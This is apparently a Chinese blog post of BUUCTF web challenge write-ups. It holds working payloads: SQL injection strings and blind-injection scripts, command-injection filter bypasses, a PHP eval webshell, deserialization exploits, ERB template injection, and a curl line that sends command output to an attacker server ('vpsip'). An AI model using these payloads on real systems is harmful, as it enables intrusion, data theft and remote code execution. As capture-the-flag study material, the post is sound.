buuctf-web部分做题记录

[SUCTF 2019]EasySQL 1

1
传入数字有回显,字母无回显

2
传入1’无回显
传入1’ or ‘1’=’1有新的回显
3
可能存在注入点
使用1' order by 4#看看有多少列,试了很多次都不行。试试堆叠注入
1;show databases;#
4
1;show tables;#
5
后面就进不去了,参考了师傅们的WP,

select $post[‘query’]||flag from Flag

这是关键语句!
当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
所以要想办法让 || 不是逻辑或,修改sql_mode为PIPES_AS_CONCAT,然后再次查询

解法一

1;set sql_mode=pipes_as_concat;select 1

使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符。
6
解法二

*,1

[GXYCTF2019]Ping Ping Ping 1

主要考查命令执行

让我们get传入一个IP
1
那传一个IP地址看看会发生什么:
2
后面拼接一个看看:http://03c1c197-5f25-4c94-b5a0-eb8e1d08e92f.node4.buuoj.cn:81/?ip=127.0.0.1;ls
3
不错欸,继续http://03c1c197-5f25-4c94-b5a0-eb8e1d08e92f.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php
4
过滤了空格。空格的代替有$IFS,${IFS},$IFS$9,<,<>,%09,%0a等,最后$IFS$9能用。
http://03c1c197-5f25-4c94-b5a0-eb8e1d08e92f.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9flag.php
flag又被过滤了
5
到底都是过滤了什么?到index.php看看:

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

过滤的不少啊!伪协议,转义字符都不能用了用字符替换试试吧
http://03c1c197-5f25-4c94-b5a0-eb8e1d08e92f.node4.buuoj.cn:81/?ip=127.0.0.1;b=ag;cat$IFS$9fl$b.php
查看源码得到flag
6
方法二
应该可以将命令进行base64编码,再用base64-d命令来执行,可以用sh来执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 得到flag
方法三
师傅们有的用内联执行

所谓内联,就是将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
由于ls得出来flag.php,index.php。这是会cat出flag.php和index.php

7
我认为这篇文章不错,大家可以参考一下

[极客大挑战 2019]Secret File 1

1
去源码看看
2
有一个php文件,访问一下看看http://cd07cfe1-455f-47ff-bded-782f66105f3d.node4.buuoj.cn:81/Archive_room.php
2
点开后
3
页面跳转太快了,抓包看看
5

注释区有一个文件访问看看
得到如下代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

PHP stristr() 函数
PHP strstr() 函数
strstr和stristr都是匹配字符串用的,但是strstr是区分大小写的,stristr是不区分大小写的。

所以例如:
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>

这段php代码,当page参数中有php://字段的时候就会被替换成空,但是是用strstr匹配的,所以写PHP://input再post就不会被替换掉。

那么就采用php://协议中的php://filter
http://cd07cfe1-455f-47ff-bded-782f66105f3d.node4.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得到

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZTNlZDgxOGYtZjM4MS00OWFjLThjNDEtOTMzOTE2ZmVjZGJjfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
解密之后得到flag。

[极客大挑战 2019]LoveSQL

1
2
3直接万能密码
4
5
密码md5解密不解密都不能用,题目既然是LoveSQL,那就开始最基础的操作
查看有几列http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=admin' order by 4%23&password=1' or'1'='1
5
http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=admin' order by 3%23&password=1' or'1'='1
6
http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=-admin' union select 1,2,3%23&password=1' or'1'='1
7
在2和3位置注入
http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=-admin' union select 1,database(),3%23&password=1' or'1'='1
8
爆破表名:
http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()%23&password=1' or'1'='1
9
geekuserl0ve1ysq1,先看第一个,
爆破列名:
http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1' or'1'='1
10http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(id,username,password) FROM geekuser%23&password=1' or'1'='1
11不对,看另一个表
http://b6bfc17f-4691-4790-8b08-554a90ccfc9a.node4.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(id,username,password) FROM l0ve1ysq1%23&password=1' or'1'='1
12

得到flag。

[极客大挑战 2019]Http

就是一个页面,看了一遍没啥,看看源码:

1
有secret.php文件
2需要伪造,开始抓包改包

4在这里插入图片描述

继续改
5
本地代理开启
5

[极客大挑战 2019]Upload

文件上传
1
一句话木马安排上!<script language="php">eval($_REQUEST[111])</script><?php eval$_POST[111];?>本题中第二个不行,选第一个。他让上传一张图片,那我们就在抓包的时候改一下。

3
结果没成功
2
在一句话木马内容前面加入gif89a,如:gif89a <%eval request(“xx”)%> 然后将木马保存为图片的格式,如xxx.jpg,xx.gif文件头欺骗可以用来绕过简单的waf。

什么是GIF89a?

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

5
还是不行
后来发现是写成shell.phtml可以,6
蚁剑连接得到flag
7

[极客大挑战 2019]BabySQL

1
2
3
可能是or被过滤了,那就双写绕过
4
成功!
5
经过测试,or,by,union,select,where,from,and都被过滤了,那就都进行双写绕过
爆出有哪些位置可以进行输出数据
1' oorrder by 3#
经测试有3列

查看数据库名字
1' uunionnion selselectect 1,2,database()#

爆破表名:
-1' uunionnion seselectlect 1,2,group_concat(table_name) FFROMROM infoorrmation_schema.tables wherwheree table_schema=database()#
6

爆破列名:
1' ununionion seselectlect 1,2,group_concat(column_name) FRFROMOM infoorrmation_schema.columns whewherere table_schema=database() and table_name='表名'#
7

爆破数据:
1' uniunionon seleselectct 1,2,group_concat(id,username,passwoorrd) FFROMROM 表名#
得到flag.
8

总结一下

本题难度不大,主要进行双写绕过,其中or在被过滤时要注意information中的or也会过滤,所以要写成infoorrmation

[极客大挑战 2019]PHP

从题目上来看这是一道php的题目,首页显示存在备份网站的习惯
1
然后就了解一下常见备份文件有哪些后缀名?

常见的备份文件后缀名:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”

可以用dirsearch扫一下

使用

-u 指定url

-e 指定网站语言

-w 可以加上自己的字典(带上路径)

-r 递归跑(查到一个目录后,在目录后在重复跑,很慢,不建议用)

进入dirsearch目录后

执行./dirsearch.py -u 127.0.0.1 -e php类似的目录

这里就不扫描了,最后扫描到www.zip,在后缀加上他之后保存文件
2
得到5个文件。

class.php文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

可以看到,主要意思就是当username强相等于adminpassword弱相等于100时给出flag,但是需要注意一点的就是程序在执行时,会将username赋值为guest,这意味着不能得出flag。先放在这里,看看其他文件。

index.php文件

其中有一段内容:

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

我们通过get请求传入select参数,并且值被反序列化了(unserialize

实在不会了,写题步骤请参考这位师傅

知识点

php序列化对象参考规则

O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”daye”;}
对象类型:长度:”类名”:类中变量的个数:{类型:长度:”值”;类型:长度:”值”;……}
变量及对象类型参考
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

private 声明的字段在序列化时,需要注意:

private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。
因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0(即%00)的前缀。字符串长度也包括所加前缀的长度,如下

O:4:"User":2:{s:9:"%00User%00age";i:20;s:10:"%00User%00name";s:4:"daye";}   # 9=7+2  10=8+2  其中2为两个前缀

魔术方法

下列方法名被认为是魔术方法: __construct() 、 __destruct() 、 __call() 、 __callStatic() 、 __get() 、 __set() 、 __isset() 、 __unset() 、 __sleep() 、 __wakeup() 、 __serialize() 、 __unserialize() 、 __toString() 、 __invoke() 、 __set_state() 、 __clone() 、 __debugInfo() 。

序列化与反序列化简单介绍

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

[ACTF2020 新生赛]BackupFile

打开题目后是真的干净,没有一点信息。没有注意到的一点就是题目名称!backup file中文意思就是备份文件说明存在备份文件。

网站备份压缩文件
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html

拿dirsearch扫一下
1
需要等待一个漫长的时间2
最后找到这个文件保存下来得到以下内容:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

就是弱类型的问题,
3
得到flag:flag{d21c38ea-d364-4047-a47c-4527c09a3937}

[RoarCTF 2019]Easy Calc

1
查看源码
1
有个url提示:calc.php?num="+encodeURIComponent($("#content").val())

$(“#content”).val() 是什么意思:
获取id为content的HTML标签元素的值,是JQuery, $(“#content”)相当于document.getElementById(“content”); $(“#content”).val()相当于 document.getElementById(“content”).value;

看一下calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

http://node4.buuoj.cn:28863/calc.php?num=1
有回显
http://node4.buuoj.cn:28863/calc.php?num=a
无回显
2
由于后续我们要找的flag肯定带字母
无论怎么注入都是被WAF了。看了一下师傅们的文章,这里涉及到一个知识点利用PHP的字符串解析特性绕过Waf

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)

num被限制了,但在num前面加个空格,waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符
当查找根目录文件时要用到print_r(scandir('/'))c
从calc.php可以看出"``'被过滤了,这是要想到用ASCII码

http://node4.buuoj.cn:28863/calc.php? num=print_r(scandir(chr(47)))
4
在flag在f1agg文件中
对照ASCII码表写入
http://node4.buuoj.cn:28863/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag.
flag{c7fa0f73-f1a2-4d7c-b3bb-ea6c6da4697c}

[极客大挑战 2019]BuyFlag

15

2
怎么才能证明你是一名学生呢?cookie中有信息
3
0改为1
5
密码是什么?查看源码
6==弱相等比较,post传参:
7
科学计数法1e9
8
或者数组绕过
password=404jk&money[]=1000000000;
strcmp函数漏洞

[网鼎杯 2020 青龙组]AreUSerialz(php反序列化)

 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;  //protected: 受保护类型
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

__construct()

构造函数(constructor method,也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。

__destruct

__destruct() //对象被销毁时触发

__destruct() 是 PHP 面向对象编程的一个重要的魔法函数,该函数会在类的一个对象被删除时自动调用。
我们可以在该函数中添加一些释放资源的操作,比如关闭文件、关闭数据库链接、清空一个结果集等

class FileHandler {

    protected $op;  //protected: 受保护类型
    protected $filename;
    protected $content;

总的来说要查看filename为flag.php

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

意思就是只允许取ASCII码为32~125的字符

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();

这个魔法函数中对op的值进行强类型判断

public function process() {
       if($this->op == "1") { //op等于1,给予写文件权限
           $this->write();
       } else if($this->op == "2") {//op等于2,给予读文件权限
           $res = $this->read();
           $this->output($res);
       } else {
           $this->output("Bad Hacker!");
       }
   }

对op值进行弱类型判断,由于我们只需要读出flag。op=2即可。从师傅们的文章中了解到在php7.1++中对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

那么该如何绕过呢?当**$op=2**时

op === “2”为假,op == “2”为真。op === “2”为假,那就绕过__destruct()。写着就有read权限了。

<?php
class FileHandler {

    public $op=2;  //protected: 受保护类型
    public $filename='flag.php';
    public $content='1';//值随意
    }
  $a=new FileHandler();
  $b= serialize($a);
echo $b;
?>

得到O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
1
2
得到flag。

[网鼎杯 2020 白虎组]PicDown

打开网页后发现只有一个输入框,开启burp的代理尝试往输入框里输入一些内容查看数据包
456
尝试一下输入一段网址,发现回显页面
123
那么尝试一下文件读取,发现可以成功读取,(由于题目设置问题,这里可以直接读取flag)
456
常规做法就是先读取源码,那么我们先读取启动当前题目进程的完整命令

/proc/self/cmdline

123
发现是python启动的,那么就读取一下源码app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

注意到下面这一段代码

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

这里将secret.txt文件删除了,因此我们无法再读取该文件,但是需要注意,在linux中使用open方法打开该文件之后读取完就直接移除该文件,并没有将改文件进行关闭,在/proc这个进程的pid目录下的fd文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/[pid]/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。
通过爆破我们先找到文件在/proc/self/fd/3里面
123
看一下源代码这个时候我们在no_one_know_the_manager文件下进行反弹shell,先在服务器上监听端口

nc -lnvp 80
之后访问题目网址

http://1d9a43f3-c6de-426e-adab-ee27ceb15d1a.node4.buuoj.cn:81/no_one_know_the_manager?key=ZPMFELffXNlle7DEFSdvsAj55RCsLLQrErtOFZO/lOI=&shell=curl http://vpsip/`ls`

456

[GYCTF2020]Ezsqli

考点:SQL注入
当我们分别输入1,2时分别显示Nu1L,V&N
当尝试使用注释符的时候发现注释符被过滤了#、--
结合fuzz,在尝试之后发现下面这三个可以使用

  • if(1,1,2)

    IF (condition, true_value, false_value)

    condition 是 1,这是一个始终为真的条件。
    true_value 是 1,如果条件为真,将返回的值。
    false_value 是 2,如果条件为假,将返回的值。

  • 0^1

    0 ^ 1 的结果是 1。
    0 ^ 0 的结果是 0。

  • (1&&1)

尝试爆数据库

if(ascii(substr(database(),1,1))>32,1,2)
 
0^(ascii(substr(database(),1,1))>32)
 
(1 && (ascii(substr(database(),1,1))>32))
  • database(): 这是一个SQL函数,用于返回当前数据库的名称。它返回字符串形式的数据库名。
  • substr(database(), 1, 1): 这使用substr函数从当前数据库的名称中提取第一个字符。substr函数的参数是 (string, start, length),所以这里从数据库名的第一个字符开始,取一个字符的长度。
  • ascii(substr(database(), 1, 1)): ascii函数用于获取字符的ASCII码值。在这里,它获取了数据库名的第一个字符的ASCII码值。
  • if(ascii(substr(database(), 1, 1)) > 32, 1, 2): 这是一个条件语句。如果数据库名的第一个字符的ASCII码值大于32,条件为真,返回1;否则,条件为假,返回2。

INFORMATION_SCHEMA被过滤了,使用sys.x$schema_table_statistics_with_buffer代替。
参考Bypass information_schema与无列名注入_WHOAMIAnony的博客-CSDN博客

if(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),1,1))>32,1,2)

0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),1,1))>32)

发现都能够正常回显使用异或或者二分法的python脚本来进行爆表

import requests
import time
url='http://750e4b79-c6f5-42e5-8fc7-dd35e77fa400.node4.buuoj.cn:81/'
flag=''
for i in range(1,50):
    high=127
    low=32
    mid=(high+low)//2
    time.sleep(1)
    while high>low:

        #payload = '1 && (ascii(substr((select database()),{0},1))>{1})'.format(i, mid) #爆库
        #payload = '1 && (ascii(substr((select version()),{0},1))>{1})'.format(i, mid)# 爆版本
        payload = '1 && (ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),{0},1))>{1})'.format(i, mid) #爆表

        data={
            'id':payload
        }
        response=requests.post(url,data=data)
        response.encoding="Windows-1252"

        if 'Nu1L' in response.text:
            low=mid+1
        else:
            high=mid
        mid=(high+low)//2
    flag+=chr(int(mid))
    print(flag)

爆出MYSQL5.5.8
表f1ag_1s_h3r3_hhhhh

无列名注入
要利用到ascii偏移注入,也就是比较盲注,具体可参考Bypass information_schema与无列名注入_WHOAMIAnony的博客-CSDN博客


import requests
import time
 
 
url = "http://750e4b79-c6f5-42e5-8fc7-dd35e77fa400.node4.buuoj.cn:81/"
flag = ""
i = 0
 
 
while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        s = flag
        mid = (letf+right) // 2
        s = s + chr(mid)
        payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
        data = {"id":payload}
        res = requests.post(url=url,data=data).text
        if "Nu1L" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf-1)
        print(flag)
        time.sleep(0.2)
    else:
        break

456

[极客大挑战 2020]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

这个用来考察php原生类,在题目中用到了Error类。
Error类中用到了__toString方法,MD5()和sha1()函数都会调用__toString()方法。
然后开始构造,使用文件包含,由于正则表达式的存在,我们进行取反绕过

<?php
echo urlencode(~("/flag"));
?>
//%D0%99%93%9E%98
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }

        }
    }
}
$a=new SYCLOVER();
$str="?><?=include ~".urldecode("%D0%99%93%9E%98").";?>";
$a->syc=new Error($str,1);$a->lover=new Error($str,2);
echo urlencode(serialize($a));

?>

[SCTF2019]Flag Shop

打开题目之后测试各个功能,发现存在jwt,解码之后jwt中带有jkl
13

那么在这里就想到了jwt伪造,最重要的一点就是要知道secret_key,该怎么寻找secret_key呢?
访问robots.txt文件发现源码路径/filebak

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

ruby语言。。。将就着看吧,结合gpt解释还有语言的通性,关注重要代码:

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

当do和name值相等的时候会输出key。wp说存在erb模板注入,注入格式为<%= code %>,这里已经存在5个字符,还差2个字符,也就是能控制的字符只有2个字符。
特性请看文档
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
直接拿环境里的secret进行正则匹配,如果输入SECRET=就是无字符匹配,这是$'就是ENV['SECRET']
从源码中可以知道可以直接回显<%=$'%>
通过使用name=<%=$'%>&do=<%=$'%> is working
构造出下面的Payload:

/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
然后进行urlencode
/work?SECRET=&name=%3C%25%3D$'%25%3E&do=%3C%25%3D$'%25%3E%20is%20working

123

使用key更改jkl值从而购买flag
798
拿到flag
123

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信